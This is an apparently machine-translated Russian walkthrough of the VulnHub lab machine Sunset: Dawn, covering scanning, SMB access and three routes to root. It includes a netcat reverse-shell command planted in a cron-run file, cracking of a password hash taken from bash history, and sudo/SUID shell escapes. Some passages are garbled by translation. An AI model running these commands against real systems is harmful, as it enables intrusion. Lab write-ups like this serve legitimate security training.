Вулнхуб. Закат: Прохождение Рассвета

Следующей машиной в нашей серии прохождений станет Sunset: Dawn.

Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Автор: whitecr0wz Как и в первом прохождении, нам нужно определить IP-адрес нашей цели.

Для этого мы используем команду

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
   

netdiscover

В моем случае IP-адрес будет 192.168.1.165.

Сканирование

Начнем сканирование с определения открытых портов.



nmap -p- 192.168.1.165



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Видим, что у нас открыты порты 80, 139, 445 и 3306, поэтому просканируем их.



nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165



Вулнхуб.
</p><p>
 Закат: прохождение рассвета



Поиск точки входа

Порт 80 используется сайтом, поэтому начнем с него.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Видим, что на сайте нет ничего интересного.

Стоит проверить какие каталоги есть на сайте, для этого воспользуемся гобастер

gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -o dir.out

Где реж.

— режим поиска каталогов, - словарь, который мы выбрали, и файл, в который будут записаны результаты.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

По результатам сканирования самое интересное для нас место журналы , поэтому давайте сначала посмотрим туда.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Видим 4 файла, попробуем их все скачать.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Но тут нам не очень повезло, у нас нет доступа ни к auth.log, ни к daemon.log, ни к error.log. Но мы можем скачать файл Management.log (если файл пустой или маленький, то следует либо подождать некоторое время, либо перезагрузить виртуальную машину).



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

В логах мы видим, что на машине запускаются задачи crontab, что нам поможет в будущем.



/bin/sh -c /home/dawn/ITDEPT/product-control /bin/sh -c /home/dawn/ITDEPT/web-control

Теперь посмотрим, что интересного мы можем найти с помощью SMB.

Пользователь 1

Для начала проверим, что у нас на 445, запускаем

smbmap -H 192.168.1.165



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

У нас есть доступ на чтение/запись к папке.

ИТДЕПТ , вот здесь мы и подключимся

smbclient //192.168.1.165/ITDEPT



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Вам не нужно вводить пароль, просто нажмите Enter. Как мы видим из доступного нам лога, именно из этой папки запускались файлы веб-контроль И контроль продукции .

Эти файлы запускаются с опцией , который определяет команды чтения из строки, поэтому мы можем записать команду в файл, чтобы обратная оболочка

echo "nc -e /bin/bash 192.168.1.68 9001" > web-control



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Скачиваем полученный файл через smb командой помещать .



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

На нашей машине регистрируем

nc -lnvp 9001



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Ждём завершения задачи Crontab. и у нас есть шелл, пользователь www-данные .

Чтобы было проще работать с оболочкой, сделаем ее интерактивной с помощью Python.

python3 -c 'import pty;pty.spawn("/bin/bash")'



Пользователь 2

Теперь мы получили доступ от первого пользователя, но если внимательно посмотреть логи, то можно заметить, что crontab также выполняет задачу от пользователя с ID=1000 (UID=1000) .

Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. В целом можно использовать любой порт, не занятый стандартными сервисами.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

И теперь у нас есть оболочка в качестве пользователя рассвет

Повышение привилегий



Способ 1

На этот раз мы не будем прибегать к скриптам.

В этих примерах повышение привилегий происходит достаточно просто, поэтому найдем все вручную.

Для начала проверим, есть ли у пользователя возможность рассвет запустить некоторые файлы от имени пользователя root

sudo -l



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Как мы видим, разрешено использовать MySQL с правами суперпользователя, но если мы попытаемся ввести команду для получения подсмотренной нами оболочки GTFObins

sudo mysql -e '\! /bin/sh'

Тогда у нас ничего не получится, так как необходима авторизация, а значит, нужно найти пароль.

Начнем с файла .

bash-история , который записывает последние команды пользователя, введенные в строке консоли.



cat .

bash_history



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

О, но мы нашли какой-то хеш и видим, что пользователь использовал MySQL под учетной записью root. Думаю, стоит взломать найденный хэш.



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Джон нас не подводит и мы получаем пароль онии-чан29 , стоит попробовать при аутентификации в MySQL

mysql -u root -p



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Здесь мы вошли в MySQL как суперпользователь.

Если вы введете команду \? , то из всех представленных команд мы также можем запускать системные команды \! .

Итак, попробуем запустить оболочку

\! /bin/bash



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Так мы стали суперпользователем.



Способ 2

Не забываем, что у нас есть еще один пользователь www-данные , посмотрим, что с этим можно сделать.

Начнем также с проверки судо -л .



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Здесь мы видим, что можем выполнить команду судо с правами суперпользователя.

Тогда давайте попробуем запустить оболочку от имени пользователя root

sudo -u root -i '/bin/bash'

Нам нужен пароль пользователя www-данные потому что мы запускаем судо от имени текущего пользователя, чтобы эксплуатировать этот вектор, нам нужно снова добавить команду в начало судо , чтобы начать это судо в качестве суперпользователя без необходимости ввода пароля (как мы видели на скриншоте ранее), добавьте опцию чтобы ввести команду, которую мы хотим выполнить, и -у корень (пользователя указывать не обязательно, так как команда уже запущена от имени пользователя root).



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

И.

вуаля, мы теперь root.

Способ 3

Мы можем использовать любого пользователя для этого метода.

Теперь проверим, какие исполняемые файлы вообще нам доступны в системе

find / -perm -u=s -type f 2>/dev/null



Вулнхуб.
</p><p>
 Закат: прохождение рассвета

Мы используем команду находить , с опциями / - поиск по всем каталогам, -пермь - с опцией -u=s , для поиска файлов с установленным битом SUID, -тип f - тип файла (f - обычный файл) и 2> /dev/ноль — эта опция скрывает ошибки в выводе команды (вы можете использовать ее с любой командой или даже исполняемым файлом).

Можно, конечно, проверить каждый, но в данном случае нас конкретно интересует зш , это всего лишь командная оболочка, запустив которую мы получаем рут права.

Эта машина, как и первая, не требует чрезвычайно сложных манипуляций.

Как говорится загрузка с root. Другие части прохождения Sunset cars: Закат: 1 Закат: темнота Теги: #информационная безопасность #ctf #пентест #vulnhub #vulnhub #writeup #writeup #writeup #writeup

Вместе с данным постом часто просматривают:

Автор Статьи


Зарегистрирован: 2019-12-10 15:07:06
Баллов опыта: 0
Всего постов на сайте: 0
Всего комментарий на сайте: 0
Dima Manisha

Dima Manisha

Эксперт Wmlog. Профессиональный веб-мастер, SEO-специалист, дизайнер, маркетолог и интернет-предприниматель.